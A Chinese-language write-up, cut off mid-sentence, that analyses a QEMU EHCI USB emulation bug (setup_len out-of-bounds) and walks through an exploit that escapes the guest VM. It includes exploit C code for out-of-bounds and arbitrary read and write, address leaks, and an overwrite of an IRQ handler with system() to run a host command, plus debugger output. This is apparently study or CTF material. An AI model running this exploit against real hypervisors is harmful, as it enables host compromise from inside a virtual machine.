1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 static void ehci_advance_periodic_state (EHCIState *ehci) { const int async = 0 ; switch (ehci_get_state(ehci, async)) { case EST_INACTIVE: case EST_ACTIVE: if (!(ehci->frindex & 7 ) && !ehci_periodic_enabled(ehci)) { break ; } list = ehci->periodiclistbase & 0xfffff000 ; if (list == 0 ) { break ; } list |= ((ehci->frindex & 0x1ff8 ) >> 1 ); if (get_dwords(ehci, list , &entry, 1 ) < 0 ) { break ; } DPRINTF("PERIODIC state adv fr=%d. [%08X] -> %08X\n" , ehci->frindex / 8 , list , entry); ehci_set_fetch_addr(ehci, async,entry); ehci_set_state(ehci, async, EST_FETCHENTRY); ehci_advance_state(ehci, async); ehci_queues_rip_unused(ehci, async); break ; default : } } static int ehci_get_state (EHCIState *s, int async) { return async ? s->astate : s->pstate; } static inline int get_dwords (EHCIState *ehci, uint32_t addr, uint32_t *buf, int num) { int i; if (!ehci->as) { return -1 ; } for (i = 0 ; i < num; i++, buf++, addr += sizeof (*buf)) { dma_memory_read(ehci->as, addr, buf, sizeof (*buf)); *buf = le32_to_cpu(*buf); } return num; } static void ehci_set_fetch_addr (EHCIState *s, int async, uint32_t addr) { if (async) { s->a_fetch_addr = addr; } else { s->p_fetch_addr = addr; } }
从代码中我们看到,首先需要满足ehci->pstate==EST_ACTIVE
,才能够进入case
,接着进行了一个if
判断,但是这个判断的条件正好是我们由ehci_work_bh
进入ehci_advance_periodic_state
函数的先觉条件,因此这里总是可以满足,也就不会绕过break
。
接着将ehci->periodiclistbase
对齐后的地址赋值给了list
,然后执行了list |= ((ehci->frindex & 0x1ff8) >> 1);
从调试来看这里等价于list+4
,这里只要满足list!=0
即可。接下来是get_words
的条件判断,这里需要满足ehci->as != 0
。接着是调用了两个set
函数,比较重要的就是ehci_set_fetch_addr
函数,首先是get_words
从list
中读取内容赋值给entry
,接着ehci_set_fetch_addr
函数将entry
赋值给echi->p_fetch_addr
。
接着看一下ehci_advance_state
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 static void ehci_advance_state (EHCIState *ehci, int async) { EHCIQueue *q = NULL ; int itd_count = 0 ; int again; do { switch (ehci_get_state(ehci, async)) { case EST_WAITLISTHEAD: again = ehci_state_waitlisthead(ehci, async); break ; case EST_FETCHENTRY: again = ehci_state_fetchentry(ehci, async); break ; case EST_FETCHQH: q = ehci_state_fetchqh(ehci, async); if (q != NULL ) { assert(q->async == async); again = 1 ; } else { again = 0 ; } break ; case EST_FETCHITD: again = ehci_state_fetchitd(ehci, async); itd_count++; break ; case EST_FETCHSITD: again = ehci_state_fetchsitd(ehci, async); itd_count++; break ; case EST_ADVANCEQUEUE: assert(q != NULL ); again = ehci_state_advqueue(q); break ; case EST_FETCHQTD: assert(q != NULL ); again = ehci_state_fetchqtd(q); break ; case EST_HORIZONTALQH: assert(q != NULL ); again = ehci_state_horizqh(q); break ; case EST_EXECUTE: assert(q != NULL ); again = ehci_state_execute(q); if (async) { ehci->async_stepdown = 0 ; } break ; case EST_EXECUTING: assert(q != NULL ); if (async) { ehci->async_stepdown = 0 ; } again = ehci_state_executing(q); break ; case EST_WRITEBACK: assert(q != NULL ); again = ehci_state_writeback(q); if (!async) { ehci->periodic_sched_active = PERIODIC_ACTIVE; } break ; default : fprintf (stderr , "Bad state!\n" ); again = -1 ; g_assert_not_reached(); break ; } } while (again); } static int ehci_get_state (EHCIState *s, int async) { return async ? s->astate : s->pstate; }
看注释该函数是一个状态机,根据echi->pstate
的值来决定进入哪个状态。经过调试函数会首先进入EST_FETCHENTRY
状态调用ehci_state_fetchentry
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 static int ehci_state_fetchentry (EHCIState *ehci, int async) { int again = 0 ; switch (NLPTR_TYPE_GET(entry)) { case NLPTR_TYPE_QH: ehci_set_state(ehci, async, EST_FETCHQH); again = 1 ; break ; case NLPTR_TYPE_ITD: ehci_set_state(ehci, async, EST_FETCHITD); again = 1 ; break ; case NLPTR_TYPE_STITD: ehci_set_state(ehci, async, EST_FETCHSITD); again = 1 ; break ; default : return -1 ; } out: return again; } #define NLPTR_TYPE_GET(x) (((x) >> 1) & 3)
该函数又是通过NLPTR_TYPE_GET
函数的返回值来进一步的设置状态。NLPTR_TYPE_GET
是一个宏定义,也就是函数通过entry/2
的单子节来确定状态。
我们需要将状态机的状态转到EST_EXECUTE
,我们搜索一下看一下哪里能够设置该状态。首先需要设置EST_FETCHQH
状态,处理该状态过程中会调用ehci_state_fetchqh
函数,并将状态转换到EST_FETCHQTD
,处理EST_FETCHQTD
状态的时候会调用ehci_state_fetchqtd
函数,该函数就会将状态转换到EST_EXECUTE
进而调用ehci_state_execute
函数。
而EST_FETCHQH
状态的进入可以通过ehci_state_fetchentry
函数来实现,要进入EST_FETCHQH
状态需要使得NLPTR_TYPE_GET(entry)
的低一字节为1
,也就是设置entry
的低一字节为2
,那么(2 >> 1) & 3
计算结果即为1
,即可进入到EST_FETCHQH
状态,那么下面我们来看一下该状态处理中会调用的ehci_state_fetchqh
函数。我们调用该函数的主要目的是为了使得状态机转换到EST_FETCHQTD
状态。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 static EHCIQueue *ehci_state_fetchqh (EHCIState *ehci, int async) { uint32_t entry; EHCIQueue *q; EHCIqh qh; entry = ehci_get_fetch_addr(ehci, async); q = ehci_find_queue_by_qh(ehci, entry, async); if (q == NULL ) { q = ehci_alloc_queue(ehci, entry, async); } q->seen++; if (q->seen > 1 ) { ehci_set_state(ehci, async, EST_ACTIVE); q = NULL ; goto out; } if (get_dwords(ehci, NLPTR_GET(q->qhaddr), (uint32_t *) &qh, sizeof (EHCIqh) >> 2 ) < 0 ) { q = NULL ; goto out; } ehci_trace_qh(q, NLPTR_GET(q->qhaddr), &qh); if (!ehci_verify_qh(q, &qh)) { if (ehci_reset_queue(q) > 0 ) { ehci_trace_guest_bug(ehci, "guest updated active QH" ); } } q->qh = qh; q->transact_ctr = get_field(q->qh.epcap, QH_EPCAP_MULT); if (q->transact_ctr == 0 ) { q->transact_ctr = 4 ; } if (q->dev == NULL ) { q->dev = ehci_find_device(q->ehci, get_field(q->qh.epchar, QH_EPCHAR_DEVADDR)); } if (q->qh.token & QTD_TOKEN_HALT) { } else if ((q->qh.token & QTD_TOKEN_ACTIVE) && (NLPTR_TBIT(q->qh.current_qtd) == 0 ) && (q->qh.current_qtd != 0 )) { q->qtdaddr = q->qh.current_qtd; ehci_set_state(ehci, async, EST_FETCHQTD); } else { } out: return q; }
因此这里我们除了需要保证q->qh.token & (1 << 7) == 1
,q->qh.current_qtd
的最后一个bit == 0
以及q->qh.current_qtd != 0
这三个明显的条件之外还需要保证q->seen==0
等防止进入到相关的if
条件分支直接goto out
,才可以触发到ehci_set_state(ehci, async, EST_FETCHQTD);
函数的调用将状态机转换为EST_FETCHQTD
。
那么这里的qh
是怎么来的呢,qh
是通过下面的函数调用得到的。
1 get_dwords(ehci, NLPTR_GET(q->qhaddr), (uint32_t *) &qh, sizeof(EHCIqh) >> 2)
也就是通过entry
得到的,因此这里的qh
的内容我们可以控制。那么将状态转换到EST_FETCHQTD
之后,我们来看一下该状态处理函数ehci_state_fetchqtd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 static int ehci_state_fetchqtd (EHCIQueue *q) { EHCIqtd qtd; EHCIPacket *p; int again = 1 ; uint32_t addr; addr = NLPTR_GET(q->qtdaddr); if (get_dwords(q->ehci, addr + 8 , &qtd.token, 1 ) < 0 ) { return 0 ; } barrier(); if (get_dwords(q->ehci, addr + 0 , &qtd.next, 1 ) < 0 || get_dwords(q->ehci, addr + 4 , &qtd.altnext, 1 ) < 0 || get_dwords(q->ehci, addr + 12 , qtd.bufptr, ARRAY_SIZE(qtd.bufptr)) < 0 ) { return 0 ; } ehci_trace_qtd(q, NLPTR_GET(q->qtdaddr), &qtd); p = QTAILQ_FIRST(&q->packets); if (p != NULL ) { if (!ehci_verify_qtd(p, &qtd)) { ehci_cancel_queue(q); if (qtd.token & QTD_TOKEN_ACTIVE) { ehci_trace_guest_bug(q->ehci, "guest updated active qTD" ); } p = NULL ; } else { p->qtd = qtd; ehci_qh_do_overlay(q); } } if (!(qtd.token & QTD_TOKEN_ACTIVE)) { } else if (p != NULL ) { } else if (q->dev == NULL ) { } else { p = ehci_alloc_packet(q); p->qtdaddr = q->qtdaddr; p->qtd = qtd; ehci_set_state(q->ehci, q->async, EST_EXECUTE); } return again; }
从ehci_state_fetchqh
函数中q->qtdaddr = q->qh.current_qtd;
我们可以知道qtaddr
是通过qh.current_qtd
来进行控制的,而我们又能够控制qh
的内容,因此这里的qtaddr
我们也可以直接进行控制,也就是可以直接控制qtd
,因此这里我们只需要设置qtd.token & (1 << 7) > 0
即可。那么就会发生 ehci_set_state(q->ehci, q->async, EST_EXECUTE);
的调用将状态机的状态转换为EST_EXECUTE
,也就是会调用到我们的目标函数ehci_state_execute
。我们看一下该函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 static int ehci_state_execute (EHCIQueue *q) { EHCIPacket *p = QTAILQ_FIRST(&q->packets); int again = 0 ; assert(p != NULL ); assert(p->qtdaddr == q->qtdaddr); if (ehci_qh_do_overlay(q) != 0 ) { return -1 ; } if (!q->async && q->transact_ctr == 0 ) { ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH); again = 1 ; goto out; } if (q->async) { ehci_set_usbsts(q->ehci, USBSTS_REC); } again = ehci_execute(p, "process" ); if (again == -1 ) { goto out; } if (p->packet.status == USB_RET_ASYNC) { } ehci_set_state(q->ehci, q->async, EST_EXECUTING); again = 1 ; out: return again; }
可以看到这里ehci_execute(p, "process");
的调用可以直接进行调用,进而直接调用usb_handle_packet(p->queue->dev, &p->packet);
再进入usb_process_one(p);
我们看一下该函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 static void usb_process_one (USBPacket *p) { USBDevice *dev = p->ep->dev; p->status = USB_RET_SUCCESS; if (p->ep->nr == 0 ) { if (p->parameter) { do_parameter(dev, p); return ; } switch (p->pid) { case USB_TOKEN_SETUP: do_token_setup(dev, p); break ; case USB_TOKEN_IN: do_token_in(dev, p); break ; case USB_TOKEN_OUT: do_token_out(dev, p); break ; default : p->status = USB_RET_STALL; } } else { usb_device_handle_data(dev, p); } }
这里的switch
分支函数的调用是根据p->pid
实现的。而p->pid
的赋值是通过ehci_execute
函数中的p->pid = ehci_get_pid(&p->qtd);
调用来实现的。由于我们可以控制qtd
,因此这里的pid
也可以进行控制。也就是我们可以控制调用任何一个分支函数。
接下来看一下漏洞函数do_token_setup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 static void do_token_setup (USBDevice *s, USBPacket *p) { int request, value, index;qtd->token if (p->iov.size != 8 ) { p->status = USB_RET_STALL; return ; } usb_packet_copy(p, s->setup_buf, p->iov.size); s->setup_index = 0 ; p->actual_length = 0 ; s->setup_len = (s->setup_buf[7 ] << 8 ) | s->setup_buf[6 ]; if (s->setup_len > sizeof (s->data_buf)) { fprintf (stderr , "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n" , s->setup_len, sizeof (s->data_buf)); p->status = USB_RET_STALL; return ; } request = (s->setup_buf[0 ] << 8 ) | s->setup_buf[1 ]; value = (s->setup_buf[3 ] << 8 ) | s->setup_buf[2 ]; index = (s->setup_buf[5 ] << 8 ) | s->setup_buf[4 ]; if (s->setup_buf[0 ] & USB_DIR_IN) { usb_device_handle_control(s, p, request, value, index, s->setup_len, s->data_buf); if (p->status == USB_RET_ASYNC) { s->setup_state = SETUP_STATE_SETUP; } if (p->status != USB_RET_SUCCESS) { return ; } if (p->actual_length < s->setup_len) { s->setup_len = p->actual_length; } s->setup_state = SETUP_STATE_DATA; } else { if (s->setup_len == 0 ) s->setup_state = SETUP_STATE_ACK; else s->setup_state = SETUP_STATE_DATA; } p->actual_length = 8 ; }
接着就到了漏洞存在的函数了。首先需要满足p->iov.size
,该值是由qtd->token
决定的,setup_buf
的地址是由qtd->bufptr
确定的,因此这里的长度可控。这个就是在do_token_setup
这个函数的前面制定的也就是iov.size=8
之后的usb_packet_copy
函数的调用将iov
中的内容拷贝到了setup_buf
中。
越界读 越界读我们首先需要调用的是do_token_setup
这个函数造成越界条件之后,在调用do_token_in
这个函数进行越界读,要想调用这个函数我们需要先看一下p->pid
的赋值函数ehci_get_pid
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #define (data, field) \ (((data) & field##_MASK) >> field##_SH) #define QTD_TOKEN_PID_MASK 0x00000300 #define QTD_TOKEN_PID_SH 8 static int ehci_get_pid (EHCIqtd *qtd) { switch (get_field(qtd->token, QTD_TOKEN_PID)) { case 0 : return USB_TOKEN_OUT; case 1 : return USB_TOKEN_IN; case 2 : return USB_TOKEN_SETUP; default : fprintf (stderr , "bad token\n" ); return 0 ; } }
因此这里我们要调用do_token_setup
函数的话,需要设置(qtd->token & 0x300) >> 8 == 2
。进入do_token_setup
函数之后在根据s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
设置setup_len
的值。这里需要我们提前设置p->iov.size = 8
,这个值暂时不知道怎么计算的
其中 p->iov.size大小由 qtd->token = size << QTD_TOKEN_TBYTES_SH 控制。这一块主要看后面的iov.size部分的内容
。为了之后进入指定的分支,我们在setup
函数中需要进入到s->setup_state = SETUP_STATE_DATA;
的调用。因此我们需要满足s->setup_buf[0] & USB_DIR_IN == 1
(其实if
的两个分支都可以进行设置,但是这里根据do_token_in
里面的判断条件选择进入if
成立的分支)。需要注意的是这里需要在设置setup_len
之前进行设置,因为在设置setup_len
之后,由于我们是进行越界读,因此if (s->setup_len > sizeof(s->data_buf))
判断会成立,函数直接返回无法设置s->setup_state
,只能是首先进行一次正常的读取设置完成状态之后在进行setup_len
的设置,最后进行越界的读取。
在调用完毕setup
函数,设置完setup_len
之后,就可以需要设置(qtd->token & 0x300) >> 8 == 1
,以用来调用do_token_in
函数。
越界写 越界写,首先需要设置(qtd->token & 0x300) >> 8 == 2
调用do_token_setup
函数设置setup_len
的值,接着需要设置s->setup_buf[0] & USB_DIR_IN == 0
也就是s->setup_buf[0] = USB_DIR_OUT
,这里也是根据do_token_out
函数里面的写入条件判断进行设置的。选择if
不成立时候的分支设置s->setup_state = SETUP_STATE_DATA;
。
1 2 3 4 5 6 7 8 9 10 11 12 if (!(s->setup_buf[0 ] & USB_DIR_IN)) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } return ; }
任意读 首先我们先看一下setup_len,setup_buf
所在的结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 struct USBDevice { DeviceState qdev; USBPort *port; char *port_path; char *serial; void *opaque; uint32_t flags; int speed; int speedmask; uint8_t addr; char product_desc[32 ]; int auto_attach; bool attached; int32_t state; uint8_t setup_buf[8 ]; uint8_t data_buf[4096 ]; int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; USBEndpoint ep_ctl; USBEndpoint ep_in[USB_MAX_ENDPOINTS]; USBEndpoint ep_out[USB_MAX_ENDPOINTS]; QLIST_HEAD(, USBDescString) strings; const USBDesc *usb_desc; const USBDescDevice *device; int configuration; int ninterfaces; int altsetting[USB_MAX_INTERFACES]; const USBDescConfig *config; const USBDescIface *ifaces[USB_MAX_INTERFACES]; };
接着我们看一下do_token_in
也就是读函数中的核心部分
1 2 3 4 5 6 7 8 9 10 11 12 if (!(s->setup_buf[0 ] & USB_DIR_IN)) { int len = s->setup_len - s->setup_index; if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len); s->setup_index += len; if (s->setup_index >= s->setup_len) { s->setup_state = SETUP_STATE_ACK; } return ; }
可以看到这里的读操作是将s->data_buf + s->setup_index
作为拷贝的起始地址,将s->setup_len - s->setup_index
作为拷贝的长度,进行了内存的拷贝。
那么这里如果我们首先将setup_len
设置为0x1010
也就是溢出0x10
字节。调用越界写函数覆写setup_len=0x1010,setup_index=0xfffffff8
即可以覆写setup_buf[8]
这个数组。
覆写setup_buf[0]=USB_DIR_IN
,将setup_index
设置为target_addr - s->data_buf - 0x1018
,那么len = s->setup_len - s->setup_index = 0x1018
,越界写入结束之后s->setup_index += len
,此时setup_index = target_addr - s->data_buf
。
那么此时再调用一次读函数,目标地址就变为了target_addr
,也就是实现了任意读。
任意写 通过do_token_setup
设置setup_len=0x1010
通过越界写将setup_len
设置为offset+0x8
,将setup_index
设置为offset-0x1010
,那么在这一次越界写入结束之后setup_index=offset
,在下一次调用写函数的时候目标地址就变为了offset
,拷贝长度len=offset+0x8-(offset - 0x1010)=0x1018
。完成任意写。
整体利用思路
获取USBDevice
对象的地址。
首先进行越界读取data_buf+0x2004
即可以得到USBDevice->remote_wakeup
的内容,继续往下读取可以得到USBEndpoint ep_ctl;
成员变量的内容,我们看一下该结构体
1 2 3 4 5 6 7 8 9 10 11 12 struct USBEndpoint { uint8_t nr; uint8_t pid; uint8_t type; uint8_t ifnum; int max_packet_size; int max_streams; bool pipeline; bool halted; USBDevice *dev; QTAILQ_HEAD(, USBPacket) queue ; };
那么可以看到这里保存了一个USBDevice
对象的指针,我们读取该指针即可以得到USBDevice
对象的地址。得到改地址之后通过偏移即可以知道data_buf,port
的地址。
再继续往下读取,可以发现一个成员变量USBDescDevice *device;
,通过该变量我们可以知道system
的地址。
USBDevice
在realize
的时候会调用usb_claim_port
函数用来将USBDevice
中的port
字段设置为指向EHCIState
中的ports
的地址,读取USBDevice->ports
的内容(调用任意读读取1
中得到的port
地址得到指针值)就能够得到EHCIState->ports
的地址,减去偏移即可得到EHCIState
的基地址,进而可以根据偏移得到EHCIState->irq
的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 void usb_claim_port (USBDevice *dev, Error **errp) { USBBus *bus = usb_bus_from_device(dev); USBPort *port; assert(dev->port == NULL ); if (dev->port_path) { QTAILQ_FOREACH(port, &bus->free , next) { if (strcmp (port->path, dev->port_path) == 0 ) { break ; } } if (port == NULL ) { error_setg(errp, "usb port %s (bus %s) not found (in use?)" , dev->port_path, bus->qbus.name); return ; } } else { if (bus->nfree == 1 && strcmp (object_get_typename(OBJECT(dev)), "usb-hub" ) != 0 ) { usb_try_create_simple(bus, "usb-hub" , NULL ); } if (bus->nfree == 0 ) { error_setg(errp, "tried to attach usb device %s to a bus " "with no free ports" , dev->product_desc); return ; } port = QTAILQ_FIRST(&bus->free ); } trace_usb_port_claim(bus->busnr, port->path); QTAILQ_REMOVE(&bus->free , port, next); bus->nfree--; dev->port = port; port->dev = dev; QTAILQ_INSERT_TAIL(&bus->used, port, next); bus->nused++; }
利用任意写将EHCIState->irq
内容填充为伪造的irq
地址,将handler
填充为system.plt
的地址,将opaque
填充为payload
的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct IRQState { Object parent_obj; qemu_irq_handler handler; void *opaque; int n; }; typedef struct IRQState *qemu_irq ;void qemu_set_irq (qemu_irq irq, int level) { if (!irq) return ; irq->handler(irq->opaque, irq->n, level); }
EXP&漏洞调试 Step1 我们根据exp.c
来进行一下漏洞的调试,首先看一下main
函数的开始部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 int main () { puts ("\033[41;37m[*] Beginning\033[0m" ); puts ("\033[47;31m[*] Wait a moment\033[0m" ); init(); printf ("\033[41;37m[*] Step 1/3\033[0m\n" ); oob_read(0x2000 ,1 ); device_addr = 0 ; for (int i=36 ;i<42 ;i++){ uint64_t tmp = first_leak_data[i] & 0xff ; device_addr |= tmp << ((i-36 ) * 8 ); } func_addr = 0 ; port_addr = device_addr+0x78 ; data_buf_addr = device_addr+0xdc ; printf ("\033[47;31m[*] Devices addr : 0x%lx\033[0m\n" ,device_addr); printf ("\033[47;31m[*] Port addr : 0x%lx\033[0m\n" ,port_addr); printf ("\033[47;31m[*] Data Buf addr : 0x%lx\033[0m\n" ,data_buf_addr); for (int i=0x4fc ;i<0x4fc +6 ;i++){ uint64_t tmp = first_leak_data[i] & 0xff ; func_addr |= tmp << ((i-0x4fc ) * 8 ); } proc_base = func_addr - 0x1069490 ; printf ("\033[47;31m[*] Func addr : 0x%lx\033[0m\n" ,func_addr); printf ("\033[47;31m[*] proc base : 0x%lx\033[0m\n" ,proc_base); uint64_t system_addr = proc_base + 0x2BE010 ; printf ("\033[47;31m[*] System addr : 0x%lx\033[0m\n" ,system_addr); sleep(3 ); }
首先调用了init
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 void init (void ) { int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0" , O_RDWR | O_SYNC); if (mmio_fd < 0 ) die("mmio_fd open failed" ); mmio_mem = mmap(0 , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0 ); if (mmio_mem == MAP_FAILED) die("mmap mmio_mem failed" ); dmabuf = mmap(0 , 0x3000 , PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1 , 0 ); if (dmabuf == MAP_FAILED) die("mmap" ); mlock(dmabuf, 0x3000 ); entry = dmabuf + 0x4 ; qh = dmabuf + 0x100 ; qtd = dmabuf + 0x200 ; setup_buf = dmabuf + 0x300 ; data_buf = dmabuf + 0x1000 ; data_bufoob = dmabuf + 0x2000 ; first_leak_data = dmabuf + 0x2000 ; second_leak_data = dmabuf + 0x1000 ; }
函数主要是对resource
进行了映射,即读写mmio_mem
这段内存即可对设备进行操作。接着调用了oob_read
即越界读,读取data_buf
偏移之后的内容获取得到一系列的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 void oob_read (uint64_t length,int flag) { if (flag){ perpare_read(); puts ("\033[47;31m[*] perpare read finished\033[0m" ); set_length(length); puts ("\033[47;31m[*] set length finished\033[0m" ); } data_buf[0 ] = 'R' ; data_buf[1 ] = 'e' ; data_buf[2 ] = 's' ; data_buf[3 ] = 'e' ; data_buf[4 ] = 'r' ; data_buf[5 ] = 'y' ; qtd->token = (0x1e00 << 16 ) | (1 << 7 ) | (1 << 8 ); qtd->bufptr[0 ] = virtuak_addr_to_physical_addr(data_buf); qtd->bufptr[1 ] = virtuak_addr_to_physical_addr(data_bufoob); qh->token = 1 << 7 ; qh->current_qtd = virtuak_addr_to_physical_addr(qtd); *entry = virtuak_addr_to_physical_addr(qh) + (1 << 1 ); set_usbcmd(); set_portsc(); puts ("\033[47;31m[*] oob read start\033[0m" ); mmio_write(0x34 ,virtuak_addr_to_physical_addr(dmabuf)); sleep(5 ); }
函数中的flag
表示的是否是write
之后的第一次读,因为如果是第一次读的话需要设置s->setup_state
的值。需要注意的是这里长度并不是根据传入的值来的,而是写死的0x1e00
,虽然该函数一开始传入的是0x2000
,但是在do_token_in
函数中会存在一个判断
1 2 3 4 int len = s->setup_len - s->setup_index;if (len > p->iov.size) { len = p->iov.size; }
而这里的iov.size
是根据token
的值设置的。因此这里设置的总是iov.size
的值,也就是写死的0x1e00
。调用prepare_read
函数设置完毕s->setup_state
之后又调用了set_length
设置setup_len
为溢出的值,接着就调用了do_token_in
函数进行越界的读取,读取出来的地址我们根据qtd.bufptr
数组指定。
泄漏了data_buf
结构体之后0xe00
大小的USBDevice
的其他成员变量的内容,这里在偏移0x24
的位置存储了一个USBDevice
结构体指针指向本结构体,因此这里我们可以得到结构体的基地址,进而计算得到port/data_buf
的地址。
1 2 3 4 5 6 7 8 9 10 pwndbg> p &s->data_buf $43 = (uint8_t (*)[4096 ]) 0x5555576b539c pwndbg> p s->ep_ctl.dev $44 = (USBDevice *) 0x5555576b52c0 pwndbg> p &s->ep_ctl.dev $45 = (USBDevice **) 0x5555576b63c0 pwndbg> p/x 0x5555576b63c0 - 0x5555576b539c - 0x1000 $46 = 0x24 pwndbg> p s $47 = (USBDevice *) 0x5555576b52c0
USBDevice
结构体中还存在一个成员变量device
指向一个bss
段中的地址,这里我们可以据此泄漏出elf
的基地址,进而得到system.plt
的地址,该成员变量距离data_buf.end
的偏移是0x4fc
。
1 2 3 4 5 6 7 8 9 10 11 pwndbg> p s->device $48 = (const USBDescDevice *) 0x5555565bf170 <desc_device_high> pwndbg> vmmap 0x5555565bf170 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x5555564fe000 0x555556614000 r--p 116000 daa000 /root/pwn/漏洞/qemu_escape/qemu-source/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 +0xc1170 pwndbg> p &s->device $49 = (const USBDescDevice **) 0x5555576b6898 pwndbg> p &s->data_buf $50 = (uint8_t (*)[4096 ]) 0x5555576b539c pwndbg> p/x 0x5555576b6898 -0x5555576b539c -0x1000 $51 = 0x4fc
因此在第一步结束之后我们得到了port/data_buf
等USBDevice
成员变量的地址以及system.plt
的地址。
Step2 这一步是为了获取EHCIState
结构体的地址,我们看一下这一部分的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 printf ("\033[41;37m[*] Step 2/3\033[0m\n" );anywhere_read(port_addr); for (int i=0 ;i<6 ;i++){ uint64_t tmp = second_leak_data[i] & 0xff ; port_ptr |= tmp << ((i) * 8 ); } printf ("\033[47;31m[*] port ptr : 0x%lx\033[0m\n" ,port_ptr);uint64_t EHCIState_addr = port_ptr - 0x530 ;uint64_t irq_addr = EHCIState_addr + 0xb8 ;uint64_t fake_irq_addr = data_buf_addr;uint64_t irq_ptr = 0 ;anywhere_read(irq_addr); for (int i=0 ;i<6 ;i++){ uint64_t tmp = second_leak_data[i] & 0xff ; irq_ptr |= tmp << ((i) * 8 ); } printf ("\033[47;31m[*] Port ptr : 0x%lx\033[0m\n" ,port_ptr);printf ("\033[47;31m[*] EHCIState addr : 0x%lx\033[0m\n" ,EHCIState_addr);printf ("\033[47;31m[*] IRQ addr : 0x%lx\033[0m\n" ,irq_addr);printf ("\033[47;31m[*] Fake IRQ addr : 0x%lx\033[0m\n" ,fake_irq_addr);printf ("\033[47;31m[*] IRQ ptr : 0x%lx\033[0m\n" ,irq_ptr);*(unsigned long *)(data_buf + 0x28 ) = system_addr; *(unsigned long *)(data_buf + 0x30 ) = device_addr+0xdc +0x100 ; *(unsigned long *)(data_buf + 0x38 ) = 0x3 ; *(unsigned long long *)(data_buf + 0x100 ) = 0x67616c6620746163 ;
首先是调用了任意读的函数读取了我们在第一步中泄漏的port
的地址中存储的内容。我们先来看一下anywhere_read
函数的逻辑。
1 2 3 4 5 6 7 8 9 10 11 12 void anywhere_read (uint64_t target_addr) { puts ("\033[47;31m[*] Anywhere Read\033[0m" ); oob_write(0x0 ,0x1010 ,0xfffffff8 -0x1010 ,1 ); *(unsigned long *)(data_buf) = 0x2000000000000080 ; uint32_t target_offset = target_addr - data_buf_addr; oob_write(0x8 ,0xffff ,target_offset - 0x1018 ,0 ); oob_read(0x2000 ,0 ); }
首先调用越界写函数覆写setup_len
和setup_index
。这里我们看一下oob_write
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 void oob_write (uint64_t offset,uint64_t setup_len,uint64_t setup_index,int perpare) { if (perpare){ perpare_write(); set_length(0x1010 ); } puts ("\033[47;31m[*] prepare write finished\033[0m" ); *(unsigned long *)(data_bufoob + offset) = 0x0000000200000002 ; *(unsigned int *)(data_bufoob + 0x8 +offset) = setup_len; *(unsigned int *)(data_bufoob + 0xc + offset) = setup_index; qtd->token = (0x1e00 << 16 ) | (1 << 7 ) | (0 << 8 ); qtd->bufptr[0 ] = virtuak_addr_to_physical_addr(data_buf); qtd->bufptr[1 ] = virtuak_addr_to_physical_addr(data_bufoob); qh->token = 1 << 7 ; qh->current_qtd = virtuak_addr_to_physical_addr(qtd); *entry = virtuak_addr_to_physical_addr(qh) + (1 << 1 ); set_usbcmd(); set_portsc(); mmio_write(0x34 ,virtuak_addr_to_physical_addr(dmabuf)); sleep(5 ); }
同oob_read
函数相同,在调用read
之后的第一个write
